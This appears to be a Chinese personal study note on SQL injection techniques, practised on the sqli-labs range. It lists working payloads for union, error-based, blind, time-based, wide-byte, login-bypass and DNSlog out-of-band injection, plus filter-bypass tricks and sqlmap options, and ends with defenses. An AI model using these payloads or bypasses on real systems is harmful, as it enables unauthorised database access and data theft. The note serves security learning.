sql注入学习笔记

本文章仅供个人学习,无参考价值。如有错误,欢迎大佬们指正~

文章目录

    • 什么是sql注入
    • sql注入的原理
    • sql注入方法
        • 1.1 数字型注入
        • 1.2 字符型注入
    • sql注入类型
        • 1.1 联合注入
        • 1.2 xpath语法错误
        • 1.3 整型溢出
        • 1.4 floor()注入
        • 1.5 盲注
        • 1.6 延时注入
        • 1.7 POST型注入
        • 1.8 宽字节注入
        • 1.9 伪静态注入
        • 1.10 二次编码注入
        • 1.11 二次注入
        • 1.12 Dnslog盲注
    • 常用函数
    • 常见的绕过方式
    • sqlmap的简单使用
    • sql注入的危害
    • sql注入的防范措施


什么是sql注入

sql注入是指web应用程序对用户输入的数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的sql语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

sql注入的原理

sql注入攻击是通过操作输入来修改sql语句,用以达到执行代码对web服务器进行攻击的方法。简单来说就是在post/get的web表单、输入域名或页面请求的查询字符串中插入sql命令,最终使web服务器执行恶意命令的过程。

sql注入方法

根据输入参数的不同,一般分为数字型注入和字符型注入

1.1 数字型注入

判断是否为数字型注入

select * from users where id=1 and 1=2	#sql原句
?id=1 and 1=2	#构造的sql注入语句

like判断

?id=1 and 1 like 2

当输入的参数为整型时,如果存在注入漏洞,则认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中。

1.2 字符型注入

字符型注入常见的闭合符类型

’ 、 " 、 ) 、 ') 、 ") 、 '))
判断是否为字符型注入

select * form users where id='1' and '1'='1'	#sql原句
?id=1' and '1'='2	#构造的sql注入语句

sql注入类型

(语句以sql-libs靶场做例)

1.1 联合注入

判断字段数

?id=1' order by num--+

判断回显点

?id=-1' union select 1,2,3--+

查库名、版本号、用户名

?id=-1' union select 1,database()/version()/user(),2--+
?id=-1' union select 1,/*!10000version()*/,concat(database(),0x3b,user())--+
#模糊查询,!后数据大于当前数据库版本号

查表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

查数据

?id=-1' union select 1,username,password from users limit 1,1--+

1.2 xpath语法错误

涉及到两个函数,updatexml()和extractvalue()。
updatexml():数据库底层通过xml语句进行数据传递、更新(文档,路径:xpath类型(不能是$#~等),更新的数据)

?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+

extractvalue():读xml类型(文件名,xpath路径)

?id=1' and extractvalue(1,concat(0x23,(select database()),0x23))--+

1.3 整型溢出

mysql5.5.5版本以上才存在整型溢出报错

select (select (!x-~0) from (select database())x)c	#sql原句
?id=1" and (select (select (!x-~0) from (select database())x)c)--+	#构造的sql注入语句

payload ——> select ~0+! (select * from (select users())x)
万能的字符payload ——> ’ or !(select * from (select user())x)-~0 or ’

exp():限于版本5.6能有效使用

select exp(~(select * from (select database())x))	#sql原句
?id=-1" and exp(~(select * from (select database())x))--+	#构造的sal注入语句
#x代表别名

有关mysql的整型溢出的官方文档入口

1.4 floor()注入

适用环境:有且仅有报错回显时

常用到的函数:
floor(): 向下取整
ceil(): 向上取整
rand(): 随机数
count(): 计数
concat(): 连接字符串

select count(*) from information_schema.tables group by concat(database(),floor(rand(14)*2))	#sql原句
?id=1" and (select count(*) from information_schema.tables group by concat(database(),floor(rand(14)*2)))--+	#构造的sql注入语句

1.5 盲注

适用环境:无数据回显位、无数据库报错回显时(简单来说就是无回显

常用函数:
substr(): 截取字符串
length(): 计算字符串长度
ascii(): 转成ascii码

#substr()的使用
select * from users where id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101	#sql原句
?id=1' and select * from users where id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+	#构造的sql注入语句
#length()的使用
select * from users where id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5	#sql原句
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5--+	#构造的sql注入语句

1.6 延时注入

常用函数:
if(1,2,3): 三元判断,如果真,则输出2,否则输出3
sleep(num): num秒
benchmark(次数,表达式): 重复执行表达式
笛卡尔积: AxB=表A和表B里所有元素组合,变成新表

select * from users where id=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),3,1)))>103,sleep(5),1)	#sql原句
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),3,1)))=103,sleep(5),1)--+	#构造的sql注入语句

1.7 POST型注入

万能密码(登录框使用的sql语句,逻辑不严谨)

'or 1=1 --_
'or 1=1 #
#or可用xor、||、%7c%7c代替
select * from users where username='admin' or '1' limit 3,1	#sql原句
#usename输入框内容
admin' or '1' limit 3,1 #

使用and拼接语句

1' and 1=2 union select 1,database()#

1.8 宽字节注入

由于字符型在查询过程中存在由字符转化整型时,会丢弃以数字开头外的字符的特性,如果数据库语句使用了GBK编码,则使用url编码%81~%FE拼接范围在%04-%FF字符时会组成为中文字符

可能使用的函数:
addslashes(): 返回在预定义字符之前添加反斜杠的字符串
(预定义字符:单引号’、双引号"、反斜杠\、null)

?id=1%81' and 0--+
?id=-1%81' union select 1,database(),version()--+

1.9 伪静态注入

在对应参数或者注入点处加一个*

http://www.test.com/index/id/1*

1.10 二次编码注入

类似于宽字节注入

当用户输入 id=1%27 时,PHP自身编码会将语句变成 id=1’ ,则会触发转义,语句变成了 id=1\' ,带入到sql注入中就变成了 id=1\’ and,则会导致不能注入。

PHP代码中的urldecode()等编码函数,放在一个使用尴尬的位置,与PHP自身编码配合失误时 ,则可以消除“\”。

当用户输入 id=%2527 时,PHP自身编码将语句变成 id=1%27 ,因为此处没有 ,转义时不会触发转义,函数进行编码时则变成 id=1’ ,带入到sql注入中就变成 id=1’ and,可以注入。

1.11 二次注入

第一步:插入恶意数据。第一次进行数据库插入数据时,仅仅对其中的特殊字符进行了转义,在写入数据库时还是保留了原来的数据,但是数据本身包含恶意内容。

第二步:引用恶意数据。在将数据存入到了数据库中后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成sql的二次注入。

1.12 Dnslog盲注

代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,这时候我们会通过布尔或者时间盲注来获取内容,但是整个过程效率较低,需要发送很多请求进行判断,很可能会触发安全设备防护。我们需要一种方法来减少请求,直接回显数据,这里就可以使用Dnslog实现注入。

推荐使用Dnslog平台

原理:DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息。

步骤:构造语句,利用load_file()函数发起请求,获取数据。

select load_file(concat('\\\\',(select database()),'Dnslog平台生成的域名\\键入的内容'))

“select database()”部分:通过SQL语句查询内容,作为请求的一部分,发送至Dnslog,只要对这一部分的语句进行构造,就能实现有回显的SQL注入,值得注意的是,这些数据格式和内容都有限制,需要进行一些处理。

个人学习参考视频

常用函数

函数名称 函数功能 函数名称 函数功能
system_user() 系统用户名 concat() 没有分隔符的来南街字符串
user() 用户名 concat_ws() 含有分隔符的连接字符串
current_user() 当前用户名 group_concat() 连接一个组的所有字符串
session_user() 连接数据库的用户名 load_file() 读取本地文件
database() 数据库名 into outfile 写文件
version() 数据库版本 ascii() 字符串的ascii代码值
@@datadir 数据库路径 ord() 返回字符串第一个字符的ascii值
@@basedir 数据库安装路径 mid() 返回一个字符串的一部分
@@version_compile_os 操作系统 substr() 返回一个字符串的一部分
count() 返回执行结果数量 length() 返回字符串的长度
left() 返回字符串最左边的几个字符 sleep(n) 让此语句运行n秒
floor(x) 返回小于或等于x的最大整数 if() 三元判断,if(1,2,3),如果真返回2,否则返回3
rand() 返回0和1之间的随机数 char() 返回整数ascii代码字符组成的字符串
extractvalue() 第一个参数:XML_document是string格式,为xml文档对象的名称
第二个参数:XPath_string(XPath格式的字符串)
作用:从目标xml中返回包含所查询值的字符串
updatexml() 第一个参数:XML_document是string格式,为XML文档对象的名称
第二个参数:XPath_string(XPath格式的字符串)
第三个参数:new_value,string格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
STRAMP() 比较字符串内容 IFNULL() 加入参数1不为Null,则返回值为参数1,否则其返回值为参数2
exp() 返回e的x次方 limit() 返回结果中的前几条或者中间的数据

常见的绕过方式

1.1 空格
寻找可替换执行的特殊字符,例如:+、%20、/**/、%0a等

1.2 注释
#、-- 、–+、/* */(内联注释)、%00

1.3 编码
hex编码、url编码、宽字节、unicode编码等

1.4 等价字符
and :&&、or :||、xor:| #、not:! 等

1.5 大小写、复写
大小写混写,例如:SelEct * From uSeRs whERe useRNaMe=‘admin’
复写就是写两个,过滤掉一个后,确保还会留下一个能够使用

sqlmap的简单使用

严禁在公网环境使用 --dump

–is-dba:当前用户权限(是否为root权限,mysql 下最高权限为sa)
–dbs:获取当前数据库基本信息及所有数据库名
–batch:执行默认设置
–dbms=mysql:选择数据库类型
–current-db:当前数据库
–user:所有数据库用户
–passwords:数据库密码
–proxy http://local:8089 --threads 5(可自定义线程加速):代理
–time-sec=TIMESEC:DBMS响应的延迟时间(默认5s)
–forms:表单注入,自动寻参
–tamper:sqlmap自带脚本
–cookie:身份效果

sqlmap -u "注入点" -D security --tables --batch	#获取security数据库的所有表名

sql注入的危害

  1. 数据库信息泄露,数据库中存放的用户隐私信息泄露。
  2. 网页被挂马,传播恶意软件;对网页进行篡改,发布违法信息等。
  3. 数据库被恶意操作,对数据库的数据进行增删改等操作。
  4. 经过提权的步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,让攻击者得以修改或控制操作系统。
  5. 破坏硬盘数据,瘫痪全系统。

sql注入的防范措施

1、权限最小化
限制当前用户对数据库的执行命令权限、对数据库的查询权限、当前用户不为root用户,且仅允许查询当前业务表或库
2、过滤敏感字符、字符串
如select、update、insert、delete、union/all、database()、and、or、if等字符、闭合符、注释符等以及他们的任意编码形式
3、硬件、软件waf,且更新规则库至最新
4、预处理:PDO,参数化查询

你可能感兴趣的:(sql,web安全,安全)